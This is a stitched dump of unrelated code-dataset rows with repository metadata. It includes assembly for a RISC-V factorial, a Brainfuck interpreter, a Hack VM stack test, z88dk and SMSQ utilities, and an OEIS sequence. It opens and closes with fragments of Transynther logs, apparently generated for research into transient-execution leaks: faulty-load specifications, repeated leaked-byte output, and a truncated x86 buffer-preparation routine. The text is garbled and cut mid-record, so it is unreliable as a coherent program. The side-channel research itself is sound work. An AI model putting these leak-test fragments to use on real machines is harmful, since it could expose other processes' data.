{'src': {'type': 'addresses_D', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 31.530909 | 2,999 | 0.654942 |
8605e6515178261ace1aa5d7f1a8a12545049353 | 1,105 | asm | Assembly | asm/factorial.asm | 64/riscv-sim | 293c5bec94a4654da58fb14c3a5751abb8e1000c | [
"MIT"
] | 1 | 2022-03-25T02:19:45.000Z | 2022-03-25T02:19:45.000Z | asm/factorial.asm | 64/riscv-sim | 293c5bec94a4654da58fb14c3a5751abb8e1000c | [
"MIT"
] | null | null | null | asm/factorial.asm | 64/riscv-sim | 293c5bec94a4654da58fb14c3a5751abb8e1000c | [
"MIT"
] | null | null | null | ; Compile with -mabi=ilp32 -march=rv32im
;
;
; uint64_t factorial(int x) {
; if (x == 0) {
; return 1;
; } else {
; return x * factorial(x - 1);
; }
; }
wrap:
call factorial
j .end
factorial:
addi sp, sp, -32
sw ra, 28(sp)
sw s0, 24(sp)
addi s0, sp, 32
sw a0, -16(s0)
lw a0, -16(s0)
li a1, 0
bne a0, a1, .LBB0_2
j .LBB0_1
.LBB0_1:
li a0, 1
sw a0, -12(s0)
j .LBB0_3
.LBB0_2:
lw a0, -16(s0)
sw a0, -20(s0)
addi a0, a0, -1
call factorial
mv a1, a0
lw a0, -20(s0)
mul a0, a0, a1
sw a0, -12(s0)
j .LBB0_3
.LBB0_3:
lw a0, -12(s0)
lw ra, 28(sp)
lw s0, 24(sp)
addi sp, sp, 32
ret
.end:
nop
| 22.55102 | 48 | 0.315837 |
61928e39c57866b386cc05741fbbf7d52ea08b4e | 4,146 | asm | Assembly | VM-bf-inception/abac00s/VM-bf-inception.asm | foralost/zrozumiec-programowanie-cwiczenia | 7a9e2e929c5d5cd7c745561c65c984218be4d9a8 | [
"MIT"
] | 29 | 2016-01-01T15:30:18.000Z | 2022-03-03T18:25:57.000Z | VM-bf-inception/abac00s/VM-bf-inception.asm | foralost/zrozumiec-programowanie-cwiczenia | 7a9e2e929c5d5cd7c745561c65c984218be4d9a8 | [
"MIT"
] | 19 | 2016-01-08T20:26:11.000Z | 2018-06-16T13:03:40.000Z | VM-bf-inception/abac00s/VM-bf-inception.asm | foralost/zrozumiec-programowanie-cwiczenia | 7a9e2e929c5d5cd7c745561c65c984218be4d9a8 | [
"MIT"
] | 21 | 2016-01-02T14:23:48.000Z | 2020-09-28T20:14:31.000Z | ; Interpreter jezyka Brainfuck, rozwiazanie cwiczenia [VM:bf-inception]
; Autor: Adam Bac (abac00s)
;
;The MIT License (MIT)
;Copyright (c) 2016 Adam Bac
;
;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation file
;(the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge,
;publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do
;so, subject to the following conditions:
;
;The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
;
;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
;MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
;FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
;WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
;
;Uwaga! Program wpisujemy na stdin (powinien byc zalonczony [LF]), a nie ładujemy z pliku.
;
;Testowe programy:
;
; ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.
; Wyswietla "Hello World"
;
; ,.
; Wyswietla wpisany przed chwila znak
;
; ,--------------------------------.
; Zmienia mala litere na wielka.
%include "vm.inc"
%define PROG_SIZE 1000
%define MEM_SIZE 1000
vset r0, prog
vset r1, brack
vset r13, mem
;wczytaj program -----------------------------
vxor r2, r2
vset r3, 0xa
vset r4, 1
loop1:
vinb 0x21, r2
vcmp r2, r4
vjne loop1
loop2:
vinb 0x20, r2
vcmp r2, r3
vje endloop2
vstb r0, r2
vadd r0, r4
vjmp loop2
endloop2:
vset r0, prog
;---------------------------------------------
;znajdz odpowiadajace nawiasy ------------------------------
vxor r3, r3
vset r11, '['
vset r12, ']'
vset r5, prog
vset r8, 4
loop3:
vldb r2, r0
vcmp r2, r3
vje endloop3
vcmp r2, r11
vjne addr
vmov r6, r0
vsub r6, r5
vpush r6
addr:
vcmp r2, r12
vjne addr1
vpop r7
vmov r6, r0
vsub r6, r5
vmul r6, r8
vadd r1, r6
vdiv r6, r8
vst r1, r7
vset r1, brack
vmul r7, r8
vadd r1, r7
vst r1, r6
vset r1, brack
addr1:
vadd r0, r4
vjmp loop3
endloop3:
vset r0, prog
;--------------------------------------------
;wykonuj ------------------------------------
vset r12, prog
loop4:
vldb r2, r0
vcmp r2, r3
vje endloop4
vset r5, '>'
vcmp r2, r5
vjne addr2
vadd r13, r4
vadd r0, r4
vjmp loop4
addr2:
vset r5, '<'
vcmp r2, r5
vjne addr3
vsub r13, r4
vadd r0, r4
vjmp loop4
addr3:
vset r5, '+'
vcmp r2, r5
vjne addr4
vldb r6, r13
vadd r6, r4
vstb r13, r6
vadd r0, r4
vjmp loop4
addr4:
vset r5, '-'
vcmp r2, r5
vjne addr5
vldb r6, r13
vsub r6, r4
vstb r13, r6
vadd r0, r4
vjmp loop4
addr5:
vset r5, '['
vcmp r2, r5
vjne addr6
vldb r6, r13
vcmp r6, r3
vjne addr7
vmov r11, r0
vsub r11, r12
vmul r11, r8
vadd r1, r11
vld r6, r1
vadd r6, r12
vmov r0, r6
vadd r0, r4
vset r1, brack
vjmp loop4
addr7:
vadd r0, r4
vjmp loop4
addr6:
vset r5, ']'
vcmp r2, r5
vjne addr8
vmov r11, r0
vsub r11, r12
vmul r11, r8
vadd r1, r11
vld r6, r1
vadd r6, r12
vmov r0, r6
vset r1, brack
vjmp loop4
addr8:
vset r5, '.'
vcmp r2, r5
vjne addr9
vldb r6, r13
voutb 0x20, r6
vadd r0, r4
addr9:
vset r5, ','
vcmp r2, r5
vjne addr10
loop5:
vinb 0x21, r6
vcmp r6, r3
vje loop5
vinb 0x20, r6
vstb r13, r6
vadd r0, r4
addr10:
vjmp loop4
endloop4:
voff
;--------------------------------------------------------
;przestrzen do zaladowania programu
prog:
times PROG_SIZE+1 db 0
;aby przyspieszyc skoki miedzy nawiasami, w tej tablicy każedemu znakowi w programie, jeśli jest on nawiasem,
;przypisywana jest pozycja odpowiadajacego nawiasu
brack:
times PROG_SIZE dd 0
;pamiec do wykorzystania przez program
mem:
times MEM_SIZE db 0
| 19.932692 | 134 | 0.632899 |
02db6031d8aa0c8078ed2f08f32249be55b3a83c | 1,220 | asm | Assembly | target/expected.main.cpp.asm | skwirl42/robco-processor | eb92ee0d2402403b36b9b796f80c3d46aaed1442 | [
"MIT"
] | null | null | null | target/expected.main.cpp.asm | skwirl42/robco-processor | eb92ee0d2402403b36b9b796f80c3d46aaed1442 | [
"MIT"
] | 30 | 2020-12-29T13:25:25.000Z | 2021-09-28T12:03:35.000Z | target/expected.main.cpp.asm | skwirl42/robco-processor | eb92ee0d2402403b36b9b796f80c3d46aaed1442 | [
"MIT"
] | null | null | null | ; Work on a C compiler is indefinitely shelved
; This has gotta get labelled something else
; gonna need to set some standards
.data _string "Hello, world!\n"
__start:
jmp _main
_print_string:
; address of string is on stack
dupw ; - keep a copy of the string address
pullx ; const char *x = string;
L0_print_string:
push [x] ; while (*x != 0)
cmp
beq L1_print_string ; {
push [x] ; push_byte(*x);
pushx ; x++;
incw
pullx
b L0_print_string ; }
L1_print_string:
pushx ; push_word(x - string)
swapw
subw
pushx
syscall 0x0102 ; syscall(0x0102) - or in decimal rather than hex
rts
_main:
; result = 0[DP] where DP == 0
pushw 5 ; 5 + 3;
pushw 3
addw
push 0 ; int result =
pulldp
pullw [dp]
pushw [dp] ; - save the value of [DP] on the stack
pushw _string ; print_str(_string);
jsr _print_str
push 0 ; - restore [DP]
pulldp
pullw [dp]
pushw [dp] ; return result;
rts
| 25.957447 | 77 | 0.502459 |
4422a798caa94f7302ef5e3ba923adc23a00cb37 | 296 | asm | Assembly | libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/posix_memalign_unlocked_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/posix_memalign_unlocked_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/posix_memalign_unlocked_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; int posix_memalign_unlocked_callee(void **memptr, size_t alignment, size_t size)
SECTION code_alloc_malloc
PUBLIC _posix_memalign_unlocked_callee
_posix_memalign_unlocked_callee:
pop hl
pop de
pop bc
ex (sp),hl
INCLUDE "alloc/malloc/z80/asm_posix_memalign_unlocked.asm"
| 18.5 | 82 | 0.783784 |
839d3395f73b880c58ab988479cdc9909f950a77 | 3,917 | asm | Assembly | uti/mkl2st.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/mkl2st.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | uti/mkl2st.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; Make a list out of a string array
section utility
xdef ut_mkl2st
include dev8_keys_err
include dev8_keys_bv
xref gu_mklis
;+++
; Make a list out of a string array passed in the standard parameter form.
; This routine checks for the -ve SuperBASIC flag. The array has to be in
; a 2-dimensional form.
;
; Entry Exit
; D1.w number of entries
; A1 ptr to parameter entry ptr to list or 0
;
; Error returns: ipar not 2-dimensional
;---
ut_mkl2st
movem.l d2-d3/a0/a2-a3/a5,-(sp)
moveq #err.ipar,d0 ; maybe wrong nr of dimensions
move.l 4(a1),a2 ; pointer to array descriptor
move.w 2(a1),d1 ; -ve if SuperBASIC
bge.s mk2s_nobas
move.l bv_vvbas(a6),a3 ; variable table
add.l a2,a3
cmp.w #2,4(a6,a3.l) ; two dimensions?
bne.s mk2s_ret
moveq #7,d0
add.w 10(a6,a3.l),d0 ; item length
bclr #0,d0 ; make even
lea mk_2dsbas,a0 ; entry generating code
move.l (a6,a3.l),a2 ; pointer to array contents
add.l bv_vvbas(a6),a2 ; now relative
bsr gu_mklis ; create list
bra.s mk2s_ret
mk2s_nobas
cmp.w #2,4(a2) ; two dimensions?
bne.s mk2s_ret
moveq #7,d0
add.w 10(a2),d0 ; item length
bclr #0,d0 ; make even
lea mk_2dsjob,a0 ; create list
move.l (a2),a3 ; pointer to entry table
tst.w d1 ; absolute pointer?
beq.s nobas_abs
nobas_rel
add.l a2,a3 ; make relative pointer absolute
nobas_abs
bsr gu_mklis
mk2s_ret
movem.l (sp)+,d2-d3/a0/a2-a3/a5
rts
;+++
; Entry Exit
; d3 entry number preserved
; a1 entry preserved
; a2 contents (a6)
; a3 descriptor (a6)
;---
mk_2dsbas
movem.l a1-a3,-(sp)
cmp.w 6(a6,a3.l),d3 ; out of range?
bhi.s bas_eof
moveq #0,d0
move.w d3,d1
mulu 8(a6,a3.l),d1 ; index right item
lea 4(a1),a1 ; base of item in table
add.l d1,a2 ; point to item
move.w (a6,a2.l),d1 ; string length
addq.l #2,a2
move.w d1,(a1)+ ; set length
bas_loop
beq.s bas_ret ; string set complete
move.b (a6,a2.l),(a1)+
addq.l #1,a2 ; copy whole string
subq.w #1,d1 ; count down
bra.s bas_loop
bas_eof
moveq #err.eof,d0
bas_ret
movem.l (sp)+,a1-a3
rts
;+++
; Entry Exit
; d3 entry number preserved
; a1 entry preserved
; a2 descriptor
; a3 contents
;---
mk_2dsjob
movem.l a1-a3,-(sp)
cmp.w 6(a2),d3 ; out of range?
bhi.s bas_eof
moveq #0,d0
move.w d3,d1
mulu 8(a2),d1 ; index right item
lea 4(a1),a1 ; base of item in entry
add.l d1,a3 ; item in array
move.w (a3)+,d1 ; string length
move.w d1,(a1)+ ; set length
job_loop
beq.s bas_ret ; all set
move.b (a3)+,(a1)+ ; copy character
subq.w #1,d1 ; count down
bra.s job_loop
end
| 33.767241 | 74 | 0.435793 |
dfa2229e819943ebb75b7c393471bf855b69547e | 1,219 | asm | Assembly | programs/oeis/172/A172330.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/172/A172330.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/172/A172330.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A172330: Floor(n*(sqrt(13)+sqrt(11))).
; 0,6,13,20,27,34,41,48,55,62,69,76,83,89,96,103,110,117,124,131,138,145,152,159,166,173,179,186,193,200,207,214,221,228,235,242,249,256,263,269,276,283,290,297,304,311,318,325,332,339,346,353,359,366,373,380,387,394,401,408,415,422,429,436,443,449,456,463,470,477,484,491,498,505,512,519,526,533,539,546,553,560,567,574,581,588,595,602,609,616,622,629,636,643,650,657,664,671,678,685,692,699,706,712,719,726,733,740,747,754,761,768,775,782,789,796,802,809,816,823,830,837,844,851,858,865,872,879,886,892,899,906,913,920,927,934,941,948,955,962,969,976,982,989,996,1003,1010,1017,1024,1031,1038,1045,1052,1059,1066,1072,1079,1086,1093,1100,1107,1114,1121,1128,1135,1142,1149,1156,1162,1169,1176,1183,1190,1197,1204,1211,1218,1225,1232,1239,1245,1252,1259,1266,1273,1280,1287,1294,1301,1308,1315,1322,1329,1335,1342,1349,1356,1363,1370,1377,1384,1391,1398,1405,1412,1419,1425,1432,1439,1446,1453,1460,1467,1474,1481,1488,1495,1502,1509,1515,1522,1529,1536,1543,1550,1557,1564,1571,1578,1585,1592,1599,1605,1612,1619,1626,1633,1640,1647,1654,1661,1668,1675,1682,1689,1695,1702,1709,1716,1723
mov $3,1
mul $3,$0
mul $3,83
sub $3,1
div $3,90
mov $1,$3
mov $2,$0
mul $2,6
add $1,$2
| 93.769231 | 1,089 | 0.746514 |
f0eff04f43d5a36ffe1734bc8ff089725c380a12 | 4,607 | asm | Assembly | test/StackTest.asm | iris-net/hackvm2asm | efff76f44b199d2600f0b0c65099fa689313a1e2 | [
"MIT"
] | null | null | null | test/StackTest.asm | iris-net/hackvm2asm | efff76f44b199d2600f0b0c65099fa689313a1e2 | [
"MIT"
] | null | null | null | test/StackTest.asm | iris-net/hackvm2asm | efff76f44b199d2600f0b0c65099fa689313a1e2 | [
"MIT"
] | null | null | null | // ===== push Constant 17 =====
@17
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 17 =====
@17
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command EQ =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// EQ
D=M-D
@EQTRUE0
D;JEQ
@SP
A=M
M=0
@EQEND0
0;JMP
(EQTRUE0)
@SP
A=M
M=-1
(EQEND0)
// SP++
@SP
M=M+1
// ===== push Constant 17 =====
@17
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 16 =====
@16
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command EQ =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// EQ
D=M-D
@EQTRUE1
D;JEQ
@SP
A=M
M=0
@EQEND1
0;JMP
(EQTRUE1)
@SP
A=M
M=-1
(EQEND1)
// SP++
@SP
M=M+1
// ===== push Constant 16 =====
@16
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 17 =====
@17
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command EQ =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// EQ
D=M-D
@EQTRUE2
D;JEQ
@SP
A=M
M=0
@EQEND2
0;JMP
(EQTRUE2)
@SP
A=M
M=-1
(EQEND2)
// SP++
@SP
M=M+1
// ===== push Constant 892 =====
@892
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 891 =====
@891
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command LT =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// LT
D=M-D
@LTTRUE3
D;JLT
@SP
A=M
M=0
@LTEND3
0;JMP
(LTTRUE3)
@SP
A=M
M=-1
(LTEND3)
// SP++
@SP
M=M+1
// ===== push Constant 891 =====
@891
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 892 =====
@892
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command LT =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// LT
D=M-D
@LTTRUE4
D;JLT
@SP
A=M
M=0
@LTEND4
0;JMP
(LTTRUE4)
@SP
A=M
M=-1
(LTEND4)
// SP++
@SP
M=M+1
// ===== push Constant 891 =====
@891
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 891 =====
@891
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command LT =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// LT
D=M-D
@LTTRUE5
D;JLT
@SP
A=M
M=0
@LTEND5
0;JMP
(LTTRUE5)
@SP
A=M
M=-1
(LTEND5)
// SP++
@SP
M=M+1
// ===== push Constant 32767 =====
@32767
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 32766 =====
@32766
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command GT =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// GT
D=M-D
@GTTRUE6
D;JGT
@SP
A=M
M=0
@GTEND6
0;JMP
(GTTRUE6)
@SP
A=M
M=-1
(GTEND6)
// SP++
@SP
M=M+1
// ===== push Constant 32766 =====
@32766
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 32767 =====
@32767
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command GT =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// GT
D=M-D
@GTTRUE7
D;JGT
@SP
A=M
M=0
@GTEND7
0;JMP
(GTTRUE7)
@SP
A=M
M=-1
(GTEND7)
// SP++
@SP
M=M+1
// ===== push Constant 32766 =====
@32766
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 32766 =====
@32766
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command GT =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// GT
D=M-D
@GTTRUE8
D;JGT
@SP
A=M
M=0
@GTEND8
0;JMP
(GTTRUE8)
@SP
A=M
M=-1
(GTEND8)
// SP++
@SP
M=M+1
// ===== push Constant 57 =====
@57
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 31 =====
@31
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== push Constant 53 =====
@53
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command Add =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// Add
M=M+D
// SP++
@SP
M=M+1
// ===== push Constant 112 =====
@112
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command Sub =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// Sub
M=M-D
// SP++
@SP
M=M+1
// ===== arithmetic command Neg =====
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// Neg
D=0
M=D-M
// SP++
@SP
M=M+1
// ===== arithmetic command And =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// And
M=M&D
// SP++
@SP
M=M+1
// ===== push Constant 82 =====
@82
D=A
@SP
A=M
M=D
// SP++
@SP
M=M+1
// ===== arithmetic command Or =====
// SP--
@SP
M=M-1
// D=Memory[SP]
@SP
A=M
D=M
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// Or
M=M|D
// SP++
@SP
M=M+1
// ===== arithmetic command Not =====
// SP--
@SP
M=M-1
// A=Memory[SP]
A=M
// Not
M=!M
// SP++
@SP
M=M+1
| 6.805022 | 37 | 0.479488 |
1b2531edbb25caa712929a3c3c9421fecfc06ce4 | 7,121 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_115.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_115.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_115.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x15f06, %rsi
lea addresses_A_ht+0x17f06, %rdi
nop
nop
nop
sub $55769, %r12
mov $17, %rcx
rep movsq
xor $9004, %rcx
lea addresses_UC_ht+0x66c6, %r12
clflush (%r12)
nop
nop
add $8853, %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm4
movups %xmm4, (%r12)
nop
nop
xor %r12, %r12
lea addresses_WC_ht+0x2b96, %rcx
nop
nop
sub $30698, %r10
mov $0x6162636465666768, %r8
movq %r8, %xmm7
vmovups %ymm7, (%rcx)
nop
nop
inc %r14
lea addresses_WT_ht+0x1dce6, %r8
nop
nop
nop
add %rdi, %rdi
movups (%r8), %xmm1
vpextrq $1, %xmm1, %r10
nop
nop
sub %r8, %r8
lea addresses_WC_ht+0x6a46, %rsi
lea addresses_normal_ht+0x15b8c, %rdi
nop
nop
nop
nop
nop
add %r13, %r13
mov $9, %rcx
rep movsb
nop
nop
nop
nop
nop
sub $14544, %r13
lea addresses_A_ht+0x13306, %rsi
